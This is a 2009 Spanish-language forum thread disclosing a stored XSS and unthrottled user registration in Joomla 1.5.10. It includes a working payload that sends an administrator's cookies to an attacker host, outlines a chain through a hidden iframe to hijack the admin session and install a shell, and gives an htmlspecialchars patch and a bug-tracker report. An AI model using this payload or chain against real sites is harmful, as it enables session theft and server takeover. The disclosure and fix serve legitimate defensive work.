Múltiples fallas en Joomla 1.5.10 + PoC [Instalacion de una shell]

Iniciado por WHK, 26 Abril 2009, 01:34 AM

0 Miembros y 1 Visitante están viendo este tema.

WHK

bueno, este tema es la continuación de:

Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html




Creación insegura de usuarios

Si se han fijado, la sección de creación de usuarios en joomla no contiene ningún sistema de proteción contra la automatización como por ejemplo una captcha o algún sistema audiovisual que por lo menos le haga la vida un poco mas dificil al atacante. Con esto podemos crear usuarios sin la necesidad de pedirle permiso a nadie ni de utilizar el mismo explorador.

Tampoco te limita la cantidad de usuarios creados por ip asi que no puede ser mas fácil crear remotamente un usuario desde un script en perl o cpp.

Una generación de usuarios en masa podría causar la inestabilidad del sistema.

el uso de esta vulnerabilidad puede ser aprobechada por la siguiente:



Vulnerabilidad de tipo XSS en el componente "User" del panel de Administración

Vamos a este enlace:
http://127.0.0.1/joomla/index.php?option=com_user&task=register
Obiamente reemplazando localhost por el servidor a auditar mas la ruta.

En nombre de usuario le podemos insertar código HTML pero hay un pequeño filtro que impide insertar carácteres como "<" pero nada mas, asi que podríamos insertar muy fácilmente una comilla doble para escapar del input y comenzar a insertar el código html.
Ejemplo:
nombre" onclick="document.location='http://www.atacante.com/?cookies.php?cookies='+document.cookie" x="

No pude poner un onload() porque el explorador solamente lo interpreta desde <body> y no desde <input>, de ahi ya viene la imaginación de cada uno.. se ponen un nick super feo y le dicen al admin que si puede cambiarlo por ti y ya con eso cuando le haga click se estará ejecutando el xss con su sesión logueada y el script que recepcionaría la cookie tendría la misma instrucción que el post anterior donde se demostraba la instalación remota de una shell como si fuera módulo:
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html;msg1201898#msg1201898
VIDEO
[youtube=600,500]http://www.youtube.com/watch?v=C-J15H8FT5w&feature=player_embedded[/youtube]

Ahora esta vulnerabilidad también se puede aprovechar con la vulnerabilidad anterior de la creación arbitraria de usuarios haciendo que cuando el atacado vea un sitio web con un iframe de 1 x 1 pixel se redireccione al script en php donde hará la creación del usuario arbitrariamente con el nombre de usuario con código html y posteriormente procederá a la redireccion para su ejecución y posterior instalación de la shell.



esto lo encontré en el archivo:
/administrator/components/com_users/views/user/tmpl/form.php
pero me puse a buscar criterios y pude ver que eran bastantes mas.
Quieren ver a cuantos archivos le afecta esto?:


A 10 archivos en mas de 40 ocasiones incluyendo el theme beez de las abejas.
Esto podría extenderse a todos los themes que se han hechos para joomla y obiamente no pueden repararse todos al 100% asi que la solución mas viable sería devolver los datos ya filtrados en htmlspecialchars aunque eto interrumpiría en algunas funciones personalizadas ya que el valor dejaría de ser fiel al que está en la base de datos.

Hasta ahora no lo he publicando en ningún lado asi que obiamente no está parchado pero pueden hacerlo ustedes mismos y buscar donde diga:
<?php echo $this->user->get('lo_que_sea') ...
lo reemplazan por:
<?php echo htmlspecialchars($this->user->get('lo_que_sea'), ENT_QUOTES) ...

En mi caso aprobeché de optimizar un poco el código agregando cada input a mostrar dentro de un array y no escribir uno por uno como lo hace joomla ahorrando la carga del texto en memoria aunque esto igual sería reemplazado pro el proceso en php pero a la ves se ve mas limpio y modificable:

Código (php) [Seleccionar]
<form action="index.php" method="post" name="adminForm" autocomplete="off">
<div class="col width-45">
<fieldset class="adminform">
<legend><?php echo JText::_'User Details' ); ?></legend>
<table class="admintable" cellspacing="1">
<?php /* Modificaciones */ 
$datos_input[] = array('titulo' => 'Nombre completo' 'id' => 'name');
$datos_input[] = array('titulo' => 'Nick',   'id' => 'username');
$datos_input[] = array('titulo' => 'Apellido paterno' 'id' => 'apellidopaterno');
$datos_input[] = array('titulo' => 'Apellido materno' 'id' => 'apellidomaterno');
$datos_input[] = array('titulo' => 'Correo personal' 'id' => 'email');
$datos_input[] = array('titulo' => 'Correo de empresa' 'id' => 'correodeempresa');
$datos_input[] = array('titulo' => 'Fecha de nacimiento' 'id' => 'fechanacimiento');
$datos_input[] = array('titulo' => 'Fecha de contrato' 'id' => 'fechacontrato');
$datos_input[] = array('titulo' => 'Cargo' 'id' => 'cargo');
$datos_input[] = array('titulo' => 'Estado civil' 'id' => 'estadocivil');
$datos_input[] = array('titulo' => 'Cantidad de cargas' 'id' => 'cantidaddecargas');
$datos_input[] = array('titulo' => 'Tel&eacute;fono empresa' 'id' => 'telefonoempresa');
$datos_input[] = array('titulo' => 'Tel&eacute;fono particular' 'id' => 'telefonoparticular');
$datos_input[] = array('titulo' => 'Domicilio' 'id' => 'domicilio');
$datos_input[] = array('titulo' => 'Comuna' 'id' => 'comuna');
$datos_input[] = array('titulo' => 'Ciudad' 'id' => 'ciudad');

foreach(
$datos_input as $fila){
echo 
'
<tr><td class="key">'
.htmlspecialchars($fila['titulo'], ENT_QUOTES).'</td>
<td><input size="40" type="text" name="'
.htmlspecialchars($fila['id'], ENT_QUOTES).'" value="'.htmlspecialchars($this->user->get($fila['id']), ENT_QUOTES).'" /></td>
</tr>
'
;
}
?>


antes del input del password.
PD: esto fue una modificación que tube que hacer para un trabajo pero obiamente ustedes también pueden adaptarlo o cuear un mod totalmente nuevo para que la gente se registre.

Jubjub

Jugando con Fósforoshacking con un tono diferente


.
porno

WHK

CitarLo habia leido en tu blog, pero aqui esta perfecto :D
eso que está en mi blog es para la versión 1.5.9 que ya se corrigió, esto que yo estoy explicando afecta a la última versión que es la 1.5.10

Reportado:
http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=16137

Jubjub

Jugando con Fósforoshacking con un tono diferente


.
porno

suglus

Tengo un problema con un joomla originalmente 1.5.10 y ahora parcheado a la .12
Pero el problema persiste. Algo se ejecuta cada 10 min y me añade codigo malicioso a los .php que tiene permisos. No hay ningun cron job me ha dicho el responsable del servidor y lo que queda es que se este realizando una llamada a un php de mi servidor desde el exterior que haga el proceso. Que pasos deberia seguir para hallar la raiz?
Monitorizar las peticiones externas?
todo termina algun dia

WHK

Talves tu theme esté infectado o alguien tiene acceso a tu ftp.
observa el access.log del apache.

suglus

#6
Gracias por la respuesta
No hay nada en log de apache que me sirva que puedo hacer?
todo termina algun dia

suglus

Ya se soluciono , habia en el servidor una instalacion de xoops obsoleta que yo no tenia acceso ni al log y cada x tiempo se activaba desde el exterior el script que permitia la modificacion de archivos 777.
todo termina algun dia